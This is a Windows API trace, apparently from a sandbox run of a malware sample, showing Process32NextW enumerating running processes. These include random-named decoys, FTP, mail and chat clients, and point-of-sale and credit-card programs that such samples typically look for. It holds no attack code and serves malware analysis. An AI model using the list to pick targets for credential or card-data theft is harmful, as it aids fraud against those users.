	[0191.250] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0191.254] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0191.257] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0191.260] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0191.263] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.266] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.269] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.272] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.276] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.279] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.282] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.285] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0191.288] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0191.291] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0191.294] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0191.297] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.300] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0191.303] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.307] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0191.310] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0191.313] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0191.316] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0191.518] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0191.521] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0191.525] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0191.528] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0191.531] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0191.534] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0191.538] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0191.541] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0191.545] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0191.548] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0191.551] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0191.774] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0191.778] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0191.782] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0191.786] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0191.791] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0191.796] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0191.799] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0191.803] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0191.806] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0191.809] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0191.811] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0191.815] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0191.819] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0192.118] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0192.122] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0192.127] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0192.130] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0192.134] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0192.136] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0192.140] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0192.143] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0192.147] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0192.150] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0192.153] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0192.307] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0192.310] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0192.314] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0192.317] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0192.321] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0192.324] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0192.327] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0192.330] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0192.334] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0192.337] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0192.341] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0192.344] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0192.561] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0192.565] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0192.569] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0192.572] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0192.575] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0192.579] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0192.583] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0192.586] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0192.590] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0192.593] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0192.597] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0192.733] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0192.736] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0192.740] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
